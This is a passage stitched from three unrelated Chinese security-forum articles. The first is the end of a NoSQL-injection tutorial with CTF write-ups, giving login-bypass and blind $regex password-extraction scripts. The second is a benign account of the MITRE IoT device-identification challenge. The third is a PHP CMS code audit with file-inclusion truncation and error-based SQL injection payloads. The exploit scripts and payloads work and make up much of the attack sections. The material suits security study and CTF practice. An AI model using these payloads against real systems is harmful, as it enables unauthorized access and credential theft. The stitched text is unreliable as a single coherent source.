编码绕过，因为 JSON 可以直接解析 Unicode。如下所示：
{"username":{"\u0024\u006e\u0065":1},"password": {"\u0024\u006e\u0065":1}}
// {"username":{"$ne":1},"password": {"$ne":1}}
## Nosql 相关 CTF 例题
### [2021 MRCTF]Half-Nosqli
进入题目，发现是一个Swagger UI：
有两个 Api 接口，一个是 `/login` 用于登录，另一个是 `/home` 可通过 url 属性进行 SSRF。我们可以编写脚本来访问这两个 Api
接口。首先访问 `/home`接口报错，因为需要验证，所以思路应该是先访问 `/login` 接口进行登录，登录后拿到 token 再去访问 `/home`
接口。这里由于题目名提示了是 NoSQL，所以我们可以直接使用 NoSQL 的永真式绕过。
这里没有任何过滤，Exp 如下：
import requests
import json
url = "http://node.mrctf.fun:23000/"
json_data = {
"email": {"$ne": ""},
"password": {"$ne": ""}
}
res = requests.post(url=url+'login',json=json_data)
token = res.json()['token']
json_data2 = {
"url":"http://47.xxx.xxx.72:4000" # 通过这里的url值进行SSRF
}
headers = {
"Authorization":"Bearer "+token
}
res2 = requests.post(url=url+'home',json=json_data2,headers=headers)
print(res2)
这样我们便可以通过 `/home` 接口的 url 值进行SSRF了：
接下来是一个 HTTP 拆分攻击，详情请看：[[2021 MRCTF]Half-Nosqli](https://whoamianony.top/2021/04/20/Web%E5%AE%89%E5%85%A8/HTTP%E5%93%8D%E5%BA%94%E6%8B%86%E5%88%86%E6%94%BB%E5%87%BB%EF%BC%88CRLF%20Injection%EF%BC%89/#2021-MRCTF-Half-Nosqli)
### [GKCTF 2021]hackme
进入题目，是一个登录框：
查看源码发现如下提示：
<!--doyounosql?-->
应该是 nosql 注入，随机登录抓包发现解析 json：
首先构造永真式：
{"username":{"$ne":1},"password": {"$ne":1}}
被检测了，使用 Unicode 编码成功绕过：
应该是通过 Nosql 盲注，让我们把 admin 的密码爆出来，根据以下条件进行布尔盲注：
{"msg":"登录了，但没完全登录"} // 真
{"msg":"登录失败"} // 假
如下编写盲注脚本：
import requests
import string
password = ''
url = 'http://node4.buuoj.cn:27409/login.php'
while True:
for c in string.printable:
if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:
# When the method is GET
get_payload = '?username=admin&password[$regex]=^%s' % (password + c)
# When the method is POST
post_payload = {
"username": "admin",
"password[$regex]": '^' + password + c
}
# When the method is POST with JSON
json_payload = """{"username":"admin", "password":{"\\u0024\\u0072\\u0065\\u0067\\u0065\\u0078":"^%s"}}""" % (password + c)
headers = {'Content-Type': 'application/json'}
r = requests.post(url=url, headers=headers, data=json_payload) # 简单发送 json
#r = requests.post(url=url, data=post_payload)
if '但没完全登录' in r.content.decode():
print("[+] %s" % (password + c))
password += c
# 输出:
# [+] 4
# [+] 42
# [+] 422
# [+] 4227
# [+] 42276
# [+] 422766
# ......
# [+] 42276606202db06ad1f29ab6b4a1
# [+] 42276606202db06ad1f29ab6b4a13
# [+] 42276606202db06ad1f29ab6b4a130
# [+] 42276606202db06ad1f29ab6b4a1307
# [+] 42276606202db06ad1f29ab6b4a1307f
得到 admin 密码后即可成功登录 admin。
## 未完待续......
> 参考：
>
> <https://owasp.org/www-project-web-security-testing-> guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection>
>
> <https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf>
>
>
> <https://www.tr0y.wang/2019/04/21/MongoDB%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/index.html>
>
> <https://cloud.tencent.com/developer/article/1602092>
>
> <https://www.anquanke.com/post/id/97211#h2-10>
>
> <https://www.runoob.com/mongodb/nosql.html>
>
> <https://blog.szfszf.top/article/27/>
>
> <https://www.ddosi.com/b292/>
>
> <https://github.com/youngyangyang04/NoSQLInjectionAttackDemo>
>
> <https://github.com/ricardojoserf/NoSQL-injection-example> | 社区文章 |
# 【技术分享】我的MITRE物联网挑战赛之旅
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
作者：[Selfighter](http://bobao.360.cn/member/contribute?uid=1437811105)
预估稿费：500RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**前言**
前一段时间我在推特上无意中看到MITRE公司在举行一个比赛（MITRE是一家成立59年拥有7613名雇员的公司，管理着联邦资助的研究与开发中心（FFRDC），为美国国防部、国安局等重要单位提供服务）。
IoT和$50k 奖金这两个关键词立即引起了我的注意，我跟着链接点进去后看到了比赛详情
官方的比赛介绍：<https://www.mitre.org/research/mitre-challenge/mitre-challenge-iot>
****
**竞赛概述**
物联网（IoT Internet of
Things）设备的普及势必会改变人们的生活、工作方式。IoT设备的互通互联将带给我们极大地便利。美好的愿景往往带来巨大的挑战，物联网设备的广泛应用带来了更多的攻击面，如何保护我们的汽车、智能家居、工厂等不被攻击？从企业到军方都在寻求管理IoT设备的解决方案。
网络管理员需要清楚的知道IoT网络环境中到底存在什么设备，当攻击者对其中一个设备进行替换后，有什么方法对其进行区分。我们需要一个唯一的识别符（或者”指纹”）使得只需要管理员对网络进行被动监听就能识别物联网设备。
MITRE公司以此为主题举办了此次竞赛，在不需要对现有产品进行改造的情况下，寻求革命性的IoT设备识别方案，同时为成绩优异的参赛者提供了丰厚的奖励。
**
**
**背景**
从家到医院、电网、高速公路甚至是战场，物联网（IoT Internet of
Things）势必会改变人们的生活方式、商业活动的进行方式、政府的工作方式等等。
IoT设备之间广泛的相互连接将带来新的效率和能力。想象一下一套智能医疗系统将病人监护设备与药物注射泵连接起来从而防止注射泵过量用药及减少监护设备的误报，或者一座智能城市智能地制定维护工作计划从而将可能造成的交通拥堵影响减少到最小。
但是伴随这些美好的前景的是巨大的挑战，由于物联网提供了如此多的可能被利用的攻击入口，我们如何才能保护我们的汽车、家、工厂等等不被攻击？从企事业单位到军队都在寻求如何来管理IoT以在他们各自的操作系统和环境下保证安全和隐私。
网络管理员需要清楚的知道网络环境中到底有什么设备，包括当攻击者用一台设替换另一台设备情况下，换句话说，我们今天看到的这个智能温控器还是昨天我们看到的那个吗？我们需要一个唯一识别符（或者”指纹”）来使得管理员只需要对网络进行被动监听就能识别物联网设备。
MITRE挑战赛——物联网设备的唯一识别，就是为了寻求应对这种潜在威胁的方案，我们的赞助方希望借此比赛在风险最小化的同时收获技术革新的成果。
我们寻求的是非传统的方法来识别IoT设备，在将来，设备厂商可能为其每一台设备嵌入唯一数字签名，但是在当下我们需要能够监控已经投入使用的设备。
我们寻求的革命性的设备识别方案，方案不需要对现有产品进行改造（如改变通信协议或者生产过程）。
**为什么要参加比赛**
本比赛为世界各地的参赛者提供：
赢取5万美金的机会
对参赛者发明的创新的解决方案进行推广和认可
与寻求IoT解决方案的政府机构建立联系的机会
与MITRE专家一起经更好地理解政府的需求的机会（注：所有的知识产权归发明者所有）
**比赛详情**
本比赛面向各种背景的参赛者开放，我们欢迎想展示才能的个人企业家、学校团队以及想在IoT领域创造影响力的各种规模的企业。
我们寻求的是简单、可承受的物联网设备识别方案以实现在物联网环境中来发现那些伪造的恶意设备。MITRE
物联网团队搭建了一个家庭物联网络来作为比赛的测试环境，这个健壮的智能家居系统包含了一系列价格适中、运行特性各异的物联网设备。我们相信在智能家庭网络环境下被证明有效的设备识别方案可以用于工业、医疗、军队、智慧城市以及其他物联网络。
**比赛时间表**
9月——10月 注册网站开放，我们需要你提供参赛队伍名称、联系方式以及其他数据来完成注册流程，所以开始想一个好的团队名吧。
11月——12月 比赛会于11月中旬开始，持续时间约为8周（准确时间会在最后注册后提供）。分数将基于团队回答对了多少问题，以及提交答案的速度。
1月——我们计划在1月17日结束比赛。如果没有团队提交完全正确的方案，那么得分最高的团队获胜，但是要想拿到5万美金的奖金必须要至少答对80%
**比赛注册**
看完比赛介绍后发现我已经来晚了，这个为期两个月的比赛还有一周不到就要结束了，WTF！
不过看完比赛简介后我觉得这比赛还挺有意思，于是就想尝试一下，至少看一看MITRE这个美国政府支持的公司也是CVE背后的公司会出什么样的难题。于是我就开始了注册过程，注册流程还是比较麻烦的，首先你得在MITRE
的网站上去注册，然后收到一封注册确认邮件告诉我会再联系我
一天后我收到了另一封邮件
邮件让我先去注册一个他们的在线协作系统帐号，让后他们会通过这个系统给我分享一个参赛协议书，我需要下载这个协议书打印出来然后手写填完并签字后再扫描上传到他们的在线协作系统中。他们然后对协议书进行审核，如果通过审核就会为我开放比赛数据下载渠道。
等到审核通过后已经是12号了，17号比赛就结束了。
**比赛数据分析**
我通过审核并获得数据下载权限后在线协作系统就长下面这样子的：
可以看到比赛数据集主要有5个文件近30G，其中4个文件为比赛数据大小分别都是7.2G，有一个txt文件是这些数据的Hash值，用于验证下载后的文件完整性。紧接着我就开始下载数据了，近30G的数据花了我好几个小时才下完，还是我大360的网速，汗！
数据下载完成后我发现并不知道数据是干嘛的，于是又去协作系统里找线索，在另一个文件夹下有个名为『IoT Challenge answer submission
form-11-16-2016-final.pdf』文件，看名字像是答题卡，于是下载下来看看，结果这个文件里有数据的相关说明和题目
从给出的说明可以看出原来比赛的数据分别是以16MS/s(sample per
second即每秒1600万次采样)的速率并分别以2.42GHz和908MHz为中心频率录制的无线信号，数据保存的格式是16位的有符号IQ值，到这里我也不懂IQ值格式，于是就谷歌了一下，我在国家仪器公司网站上找到了一篇比较详细的介绍文章，详细内容就不啰嗦了，请看原文
来源：<http://www.ni.com/tutorial/4805/en/>
如下面这个信号有幅度、相位、频率几个参数
简单来说IQ值是保存无线信号的一种数据格式，分为I和Q两路数据，从下图的最后一个等式可以看出只需要IQ数据就可以得到信号的幅度和相位等信息。
有了IQ数据再加上载波频率就可以还原出无线信号了，对应的硬件也较简单如下图
图 IQ数据对应硬件简图（图片来自网络）
**题目分析**
比赛的题目要求是要在这原始的无线数据中找出物理设备（注意这里说的物理设备，一个设备的网络地址等可能改变，但无论怎么变，它还只是一个物理设备，例如你一部手机断开WIFI后再连接前后的IP地址可能变了，但是你还只是一台物理设备,你的MAC地址一般也不会变），并且在网络环境变化（如移除某些设备，添加某些设备，设备的网络地址或者通信协议改变等等）后还要分辨出那些新增或者消失的物理设备。一共8道题目，要求找出B1和B2文件中每个独立物理设备的网络ID和设备ID，列出在B1中出现而在C1中未出现（比如设备已关闭或者断电）的物理设备的网络ID和设备ID，其他问题也是类似
B2和C2对应的问题也是类似，一共有8道题，其中B1和C1相关的有4道题，B2和C2相关的有4道题。
答题的时候需要给出设备的网络ID和设备ID，如下的示例答案
注意，这里网络ID和设备ID并不能标识一个物理设备，因为网络ID和设备ID有可能会变，后面会讲。
看看这题目感觉还是非常有挑战性的，首先工作在2.42GHz和908MHz这两个频率点的设备可能有很多，如蓝牙，WIFI，ZigBee，Z-Wave等等，那么如何在才能唯一的物理的识别这些采用不同协议的设备呢？
进一步阅读发现主办方还是比较仁慈的，做了一些限定。
主办方只要求我们分析802.15.4（ZigBee）和ITU-T G.9959（Z-Wave
https://en.wikipedia.org/wiki/Z-Wave）流量，排除其他流量，如802.11（WIFI）和802.15.1（蓝牙）。ZigBee和Z-Wave是物联网领域广泛采用的协议，常用于智能家居等，这与本次比赛的目的（IoT）还是比较契合的，因为蓝牙和WIFI的安全是比较成熟的研究领域，ZigBee和Z-Wave相对而言就算是比较新的领域了，后面我会再讲详细一点。
分析到这里我发现分数排行榜已经更新了，已经有人做到了75分。（比赛可以提交3次答案，最后会根据时间戳和最高分来确定最后成绩）
虽然我知道拿奖金的可能性比较低，但是既然参赛了还是想尽量早点提交结果期待拿个名次，所以还是有点开始着急了。
**继续分析题目**
至此已经知道题目要求和给的数据格式了，下一步就是如何根据给的数据来完成题目了
如下图所示，ZigBee通信一共有26个信道。
图 ZigBee的信道分布（图片来自网络）
主办方给出的B1和C1两个文件的采样中心频率是2.42GHz，和ZigBee的第14信道吻合。
下图是Z-Wave 的工作频率分布图
图 Z-Wave 的工频率（图片来自网络）
从图中可以看出，Z-Wave根据地区的不同而采用不同的频率，主办方给出的B2和C2两个文件的采样中心频率是908MHz，与Z-Wave在北美和南美采用的908.42MHz非常接近，虽然ZigBee在908MHz附近也有信道，但是可能性不大。题目只要求列出采用ZigBee和Z-Wave设备，所以可以确定B1和C1两个文件是要求参赛者找出ZigBee设备，而B2和C2则是要求参赛者找出Z-Wave设备。
至此数据格式及题目要求都已经搞清楚了，接下来就该下手做题了。
**IEEE802.15.4（ZigBee）**
ZigBee的协议栈我比较熟悉，因为我曾经研究过一段时间的ZigBee
安全性,所以拿ZigBee开刀进行分析（关于ZigBee的安全感兴趣的可以看看我和独角兽团队老大杨卿一起发表到DEFCON黑客大会的研究成果[《I am a
newbie yet I can hack ZigBee—take unauthorized control over ZigBee
devices》](https://www.defcon.org/html/defcon-23/dc-23-speakers.html#Li)）。
ZigBee是一种自组织网络，广泛用于智能家居、环境监测、远程控制等领域
图 ZigBee应用场景（图片来自网络）
ZigBee网络中的设备安功能不同分为3种：
协调器（Co-ordinator）：起核心协调作用，负责组网，分配网络地址等等
路由器（Router）：负责转发数据（也可以兼具设备功能，例如一个智能开关）
终端节点（End Device）：即设备，像传感器、智能家居里的开关等等
类似电脑一样，每个ZigBee设备在通信的时候主要由网络地址（NetworkID 又称为PANID）和设备地址（DeviceID，又称为短地址）来寻址。
图 ZigBee的网络拓扑（图片来自网络）
但是无论是网络地址还是设备地址都不能唯一的标记一个物理设备，因为NetworkID是由协调器在建立网络的时候设定的，所以同一个协调器物理设备可能建立不同NetworkID的网络，DeviceID是终端设备在入网时由协调器分配的，当这个终端设备再次入网的时候可能会得到另一个网络地址。也就是说，同一个设备，两次入网地址可能就变了，所以DeviceID也不能作为唯一标记物理设备的ID。
每一台ZigBee设备在出厂时都会有一个64位IEEE地址或者叫扩展地址，这个地址类似与电脑网卡的MAC地址，一般是不会变的，所以可以用来唯一标记一台物理设备，而这个IEEE地址在ZigBee通信过程中一般不使用（ZigBee通信过程一般使用网络地址和设备地址），只在特殊的时候使用，如设备申请入网时，网络广播时等等。只要能找到这些IEEE地址对应的物理设备，则无论这个设备的NetworkID和DeviceID怎么变都能够唯一地确定这些物理设备，所以参赛者的目标就是要找这些唯一的IEEE地址代表的物理设备，并在不同场景（及B1和C1两个场景）中找出其对应的网络地址和设备地址。
那么如何才能从IQ数据中找到IEEE地址呢？我最初的的几个想法是：
1.把数据用Python或者matlab进行处理，参考协议栈的文档一步一步从原始数据（Raw data）解析到网络层，即下图的NWK Frame那层
图 ZigBee帧结构（图片来自网络）
这种方法肯定费时费力，相当于要自己实现ZigBee协议栈，虽然有一些开源的协议栈可以修改和参考但总归比较麻烦。
开源的协议栈举例<http://zboss.dsr-wireless.com/>
2.对数据进行最简单的底层处理，然后用wireshark进行解析，也比较麻烦。
3.正在抓耳挠腮之际突然想到了软件无线电（SDR software defined
radio）设备可以录制信号及重放信号，而IQ数据正是一种很常用的信号保存格式，无线电安全研究部内的独角兽团队有很多同事是软件无线电专家，包括中国第一本软件无线电书籍的作者黄琳也是我们团队的。能不能用SDR把IQ数据重新发送出来，这样就好像是把主办方采集数据的环境从美国搬到了我这里，那么下一步就可以利用我之前做ZigBee安全研究积累的数据分析经验、软件和硬件了。
经过以上分析我决定采用第三种方法，下图是第三种方法的所需步骤的示意图：
我们已经下载了比赛数据，所以接下来我们要进行图中的第二步，把数据发送出来进行分析
发送数据：可以采用的设备有HackRF，USRP等等SDR硬件，我们团队都有（炫富ing），我们最终用的USRP来进行的发送信号。
分析数据：分析ZigBee数据可以用的软件硬件组合有也有很多，有付费版的软件如Ubiqua protocol analyzer，Perytons
protocol analyzer等等，免费的软件如TI packet sniffer，killerbee等等，
至于接收数据的硬件大部分分析软件都支持德州仪器的USB Dongle，而我们手头也有现成的。我最终选择了TI的免费软件+USB Dongle来分析数据。
下图为搭建好的环境，左边是USRP硬件+GNU Radio Companion软件用来发送数据，右边是ZigBee USB Dongle硬件+TI
Packet Sniffer软件用来接收和分析数据。
下图即为用用GNU Radio发送数据的流图：
现在可以发送数据了，但是还有一个问题需要解决，MITRE要求我们中无线信号中定位识别出发送信号的物理设备，日常环境中与现在我们要定位识别的ZigBee设备同样工作在2.4GHz频段的还有很多其他设备，如蓝牙、WIFI甚至其他ZigBee设备，我们肯定不希望受到其他设备的干扰或者错误地将其他ZigBee设备识别为比赛让我们识别的设备，所以我们需要解决干扰问题。
应对这个问题一般有多种方法，比如直接将信号发送方和信号接收方用屏蔽线（类似天线的馈线）连接起来，这样发送的信号只有接收方能收到，由于我采用的硬件是印制板天线，所以无法采用这一种方法。另一种方法就是在电磁屏蔽空间中进行，好在我们团队有电磁屏蔽实验室（炫富ing
x 2），下图即为屏蔽实验室的”铜墙铁壁” ；）
好了，发送数据、接收数据、抗干扰等问题都解决了，接下来看看如何分析数据，如前面所说，主办方要我们在不同环境下列出每个物理设备的网络ID和设备ID。
（解释一下这里所说的不同环境，主办方给出了4个文件，2.42GHz和908MHz的文件各两个，这里每个文件代表一个环境，例如B1代表的一个环境是有N个物理设备在工作的环境，C1却可能代表B1改变后的环境，改变可以是添加或者移除了一些物理设备或者系统重置了，重置的结果可能造成物理设备的网络ID和设备ID发生改变，所以网络ID和设备ID并不能唯一定位标识一个设备）
例如下图中，我们在B1环境中发现了28个物理设备，这其中某些物理设备可能在C1中采用不同的网络ID和设备ID进行通信。
所以我们需要寻找并进行统计的是包含网络ID与设备ID与IEEE地址对应关系的数据包，就像下图这种：
将B1和C1中的所有的IEEE地址（唯一识别物理设备的地址）及对应的网络ID和设备ID关系统计出来就能够回答ZigBee相关的题目了。如下图中的统计结果可以看出红色IEEE标记的物理设备在两个不同环境中的网络ID和设备ID都不同，但其实就是同一个物理设备。
好了，ZigBee部分讲完了接下来我们讲一讲Z-Wave,虽然我还没有时间来得及做，但是在这里还是可以和大家分享一下我的思路和一些相关资料。
对于Z-Wave我们可以发送主办方给的数据，然后用Z-Wave分析工具进行分析。
**Z-Wave简介**
Z-Wave是由丹麦公司Zensys所一手主导的无线组网规格，Z-wave联盟(Z-wave Alliance)虽然没有ZigBee联盟强大，但是Z-wave联盟的成员均是已经在智能家居领域有现行产品的厂商，该联盟已经具有160多家国际知名公司，范围基本覆盖全球各个国家和地区。
Z-Wave技术设计用于住宅、照明商业控制以及状态读取应用，例如抄表、照明及家电控制、HVAC、防盗及火灾检测等。Z-Wave可将任何独立的设备转换为智能网络设备，从而可以实现控制和无线监测。如下图中是一些采用Z-Wave的产品。
每一个Z-Wave网络都拥有自己独立的网络地址(HomeID);网络内每个节点有其地址(NodeID)，由控制节点(Controller)分配在节点入网时分配。如下图：
图片 Z-Wave设备入网过程图
（来源<http://zwavepublic.com/sites/default/files/APL13031-2%20-%20Z-Wave%20Networking%20Basics.pdf>
）
ZWave网络中有两种节点主控设备（Primary
Controller）、从设备（Slave）。主控设备的HomeID是出厂就已经设定好的，并且NodeID通常都是0x01，用户无法改变。从设备的HomeID和NodeID在入网前都未初始化，如下表：
举个例，注意下图中的从设备（slave）在加入网络之前homeID和nodeID均为0
下图是当从设备加入网络后Slave已经获得了homeID和nodeID
所以不难想象除了主控设备例外，Z-Wave设备的HomeID和NodeID不能用于唯一识别一个物理设备，因为一个从设备可以加入不同的网络（入网在ZWave术语中叫inclusion
）从而得到不同的homeID和nodeID。
一篇非常有参考价值的文章：<http://www.vesternet.com/resources/technology-indepth/understanding-z-wave-networks>
Z-Wave每个网络最多容纳232个节点(Slave)，包括控制节点在内。控制节点可以有多个，但只有一个主控制节点，即所有网络内节点的分配，都由主控制节点负责，其他控制节点只是转发主控制节点的命令。已入网的普通节点，所有控制节点都可以控制。超出通信距离的节点，可以通过控制器与受控节点之间的其他节点，即路由(Routing)的方式完成控制。
Z-Wave 有一种命令可以用来请求节点信息帧NIF（Node Information Frame
参考http://blog.csdn.net/junglefly/article/details/53184484），或许可以用来识别设备。
最重要的一点是Z-Wave和ZigBee设备一样在实际的应用场景中经常会通过一个网关来接入互联网，实现远程控制，这就引起了物联网设备被远程控制或者被作为攻击入口的可能性！
可以用于Z-Wave抓包分析或者发送Z-Wave包的一些工具
OpenZWave<https://github.com/OpenZWave/open-zwave>
<https://github.com/selfighter/EZ-Wave>
<https://sensepost.com/cms/resources/conferences/2013/bh_zwave/Security%20Evaluation%20of%20Z-Wave_WP.pdf>
**最后比赛结果**
大年初一收到一封邮件说比赛结果公布了，如下
激动地发现我居然不出所料地没有拿第一名，不过值得庆幸的是没有白做，上了Leaderboard排行榜。
全球130个参赛队，得了第六名，而且由于报名时间晚，为期2个月大比赛我只有6天，所以当在榜单上看见Selfighter的ID时还是非常满意的。
看到Selfighter这个ID只是我个人的ID，其实是由于对比赛背景不了解，所以我们部门就先派我去当小白鼠试试水。
**往届比赛简介**
**MITRE反无人机挑战赛**
官网信息：<https://www.mitre.org/research/mitre-challenge/mitre-challenge-uas>
关于比赛的一片中文报道
<http://www.yuchen360.com/news/8205-1-0.html>
个人认为比较有意思的几个比赛入围成果介绍
**Skywall 100**
官网： <http://openworksengineering.com/skywall>
视频：<http://www.iqiyi.com/w_19rsxqlleh.html>
**DroneTracker**
官网： <http://www.dedrone.com/en/dronetracker/drone-protection-software>
视频： <https://www.youtube.com/watch?v=ti2KtGG4adc>
中文介绍：<http://www.sirenji.com/article/201602/79642.html>
**MESMER**
官网及视频
<http://www.department13.com>
**总结 &展望**
在我写这篇文章的时候RSA大会正在美国举行，对于企业安全产品厂商来说这可以说是全球最重要逼格最高的行业大会了，所以很多安全企业漂洋过海去参展/参会，RSA大会能够一定程度反映安全行业的动态。独角兽团队的会棍老大杨卿也去参会了，还写了一篇参(liao)会(mei)经历，（感兴趣的童鞋可以看看http://mp.weixin.qq.com/s/Bc0cGblm7Vl0n-r60y4K6Q
）
在他这篇文章中我看到2张图片
可以看到这家企业展示的方案不正是IoT设备的检测识别方案吗！
MITRE去年的比赛题目是对抗无人机，比赛过程涌现出的那些idea可能早已应用于美国国防，而过去的这一年我们看到了很多无人机造成的安全事件相关新闻，有用无人机扔炸弹的、偷拍的、造成航班延误的、甚至用无人机作为中继进行渗透测试的，所以无人机已经作为一种安全隐患受到全球关注。我们团队的无线入侵检测产品天巡也将会加入无人机检测及对抗功能，下图
综上所述，MITRE作为一个与美国政府有合作的巨型企业，提出的比赛题目都是和国防有关的具有前瞻性的课题，虽然参赛者们的研究出的方案IP归研究者所有，但是这并不能阻止他们将这些研究成果应用于美国的国防等领域，或者从参赛者的方案中寻求灵感，一场比赛结束或许就意味着他们的某个技术难题被解决。
**致谢**
感谢独角兽团队提供地研究环境，祝我的团队越来越强大。
特别感谢团队同事杨卿、黄琳、曾颖涛、张婉桥等怪人的帮助。
**作者**
李均(selfighter)，360独角兽安全团队安全研究员。 | 社区文章 |
第一次审计，抱着学习的态度，从一个初学者的角度去尝试摸石头过河，踩坑，跳坑，并做个记录吧：
[toc]
## 一、环境安装
使用phpstudy 5.4.45+mysql5.5.53进行搭建（这个cms比较老，用php7会出问题）。
去网上下载xhcms源码（<https://down.chinaz.com/），解压到phpstudy根目录，启动phpstudy，访问安装并安装即可。>
**（安装时记得提前在phpstudy中mysql管理创建一个数据库（我这里创建一个testxhcms数据库使用））**
## 审计过程
#### 先了解一下目录结构
admin --管理后台文件夹
css --存放css的文件夹
files --存放页面的文件夹
images --存放图片的文件夹
inc --存放网站配置文件的文件夹
install --网站进行安装的文件夹
seacmseditor --编辑器文件夹
template --模板文件夹
upload --上传功能文件夹
index.php --网站首页
一个个看文件不太现实，用一用工具吧，先使用seay自动化代码审计工具扫一下：
可以看到，有爆出34个可疑位置，接下来就一个个去分析代码，进行尝试。
#### 一、第一条检测结果 首页/后台文件包含漏洞
index.php以及admin/index.php
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>
分析代码：
第一行的注释里面有写"单一入口模式"，这个是什么意思呢？简单来说就是用 **一个文件处理所有的HTTP请求**
，例如不管是内容列表页，用户登录页还是内容详细页，都是通过从浏览器访问 index.php 文件来进行处理的，这里这个 index.php
文件就是这个应用程序的单一入口（ **具体造成的影响在我们后面使用文件时会再次提到来进行理解** ）。
第二行的error_reporting(0);表示关闭所有PHP错误报告。
addslashes() 函数返回在预定义字符(单·双引号、反斜杠（\）、NULL)之前添加反斜杠的字符串。
第四行、第五行，通过三元运算符判断文件名是否为空，为空则载入files/index.php文件，反之赋值就会把传递进来的文件名赋值给$action，".“在PHP里是拼接的作用，因此就是把第四行传递的变量$file（到这里是$action,因为上一行$file赋值给了$action）也就是传递的文件名字，拼接前面的目录”files/”以及后面的”.php"这个后缀，最终载入拼接后的相应文件。
那么这里漏洞利用其实就两个问题：跳出限定的目录和截断拼接的后缀
我们需要截断后面的 .php 后缀，因此使用Windows文件名字的特性及Windows文件名的全路径限制进行截断。1.
**Windows下在文件名字后面加 “.” 不影响文件。**
2. **Windows的文件名的全路径（Fully Qualified File Name）的最大长度为260字节** 。但是这个是有利用条件的，在我这几次测试过程中， 发现必须同时满足 **_php版本=5.2.17、Virtual Directory Support=enable_**
先在网站根目录下写一个phpinfo用于测试： **test.txt**
<? php phpinfo(); ?>
00截断利用条件 //此处由于addslashes()函数导致不可用
1、magic_quotes_gpc =off
2、php版本小于5.3.4
？截断失败
长度截断可用：
//php版本=5.2.17、Virtual Directory Support=enable
payload：
1.?r=../test.txt........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
2.?r=../test.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
#### 二、sql注入
##### /admin/files/login.php
require '../inc/conn.php';
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];
if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$users = mysql_fetch_array($result);
对$user变量未作过滤，直接单引号包裹带入查询，存在sql注入，打一打（测试未屏蔽报错，用报错注入）：
payload：
1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--
成功爆出数据库
##### /admin/files/adset.php报警SQL注入漏洞：
<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$setopen='class="open"';
$query = "SELECT * FROM adword";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$ad = mysql_fetch_array($resul);
$save=$_POST['save'];
$ad1=addslashes($_POST['ad1']);
$ad2=addslashes($_POST['ad2']);
$ad3=addslashes($_POST['ad3']);
if ($save==1){
$query = "UPDATE adword SET
ad1='$ad1',
ad2='$ad2',
ad3='$ad3',
date=now()";
@mysql_query($query) or die('修改错误：'.mysql_error());
echo "<script>alert('亲爱的，广告设置成功更新。');location.href='?r=adset'</script>";
exit;
}
?>
分析代码，报警处三个可控变量ad1-ad3都经过了addlashes()函数处理，因此此处其实不存在sql注入漏洞，属于误报。
下一个
##### /admin/files/editcolumn.php
双击打开文件，首先看到的还不是报错位置，而是文件开头，直接吸引了我的目光，关键代码：
$id=$_GET['id'];
$type=$_GET['type'];
if ($type==1){
$query = "SELECT * FROM nav WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$nav = mysql_fetch_array($resul);
}
if ($type==2){
$query = "SELECT * FROM navclass WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$nav = mysql_fetch_array($resul);
}
可以看到，id、type都是直接通过GET方式传入进来，然后单引号闭合，未作任何其他过滤就开始进入数据库查询。因此我们先登陆进后台,然后去包含这个文件（
**前面我们提到index.php文件中的单一入口模式，这也就导致这个文件夹下的所有文件都需要这么去使用** ）否则由于权限问题会产生报错如下：
进入此页面进行利用尝试：
http://192.168.121.130/xhcms/admin/?r=editcolumn
由上分析，直接GET传参尝试利用：（要进入连接数据库部分，因此type需要满足条件1或2，这里随便选择1）没有屏蔽报错，所以懒得测试字段什么的，直接采用报错注入，payload：
?r=editcolumn&type=1&id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
成功注出数据库，后面就不写了，流程一套就是。
言归正传，报警处代码：
$save=$_POST['save'];
$name=$_POST['name'];
$keywords=$_POST['keywords'];
$description=$_POST['description'];
$px=$_POST['px'];
$xs=$_POST['xs'];
if ($xs==""){
$xs=1;
}
$tuijian=$_POST['tuijian'];
if ($tuijian==""){
$$tuijian=0;
}
$content=$_POST['content'];
if ($save==1){
if ($name==""){
echo "<script>alert('抱歉，栏目名称不能为空。');history.back()</script>";
exit;
}
if ($type==1){
$query = "UPDATE nav SET
name='$name',
keywords='$keywords',
description='$description',
xs='$xs',
px='$px',
content='$content',
date=now()
WHERE id='$id'";
@mysql_query($query) or die('修改错误：'.mysql_error());
echo "<script>alert('亲爱的，一级栏目已经成功编辑。');location.href='?r=columnlist'</script>";
exit;
}
if ($type==2){
$query = "UPDATE navclass SET
name='$name',
keywords='$keywords',
description='$description',
xs='$xs',
px='$px',
tuijian='$tuijian',
date=now()
WHERE id='$id'";
@mysql_query($query) or die('修改错误：'.mysql_error());
echo "<script>alert('亲爱的，二级栏目已经成功编辑。');location.href='?r=columnlist'</script>";
exit;
}
其实就是在刚刚代码下面，漏洞出现方式和它一摸一样（除了此处是POST传参），因此不再详谈。
下一个
##### **/admin/files/editlink.php**
关键代码：
<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$linklistopen='class="open"';
$id=$_GET['id'];
$query = "SELECT * FROM link WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error());//Id不做过滤，直接传入查询
$link = mysql_fetch_array($resul);
$query = "UPDATE link SET
name='$name',
url='$url',
mail='$mail',
jieshao='$jieshao',
xs='$xs',
date=now()
WHERE id='$id'";
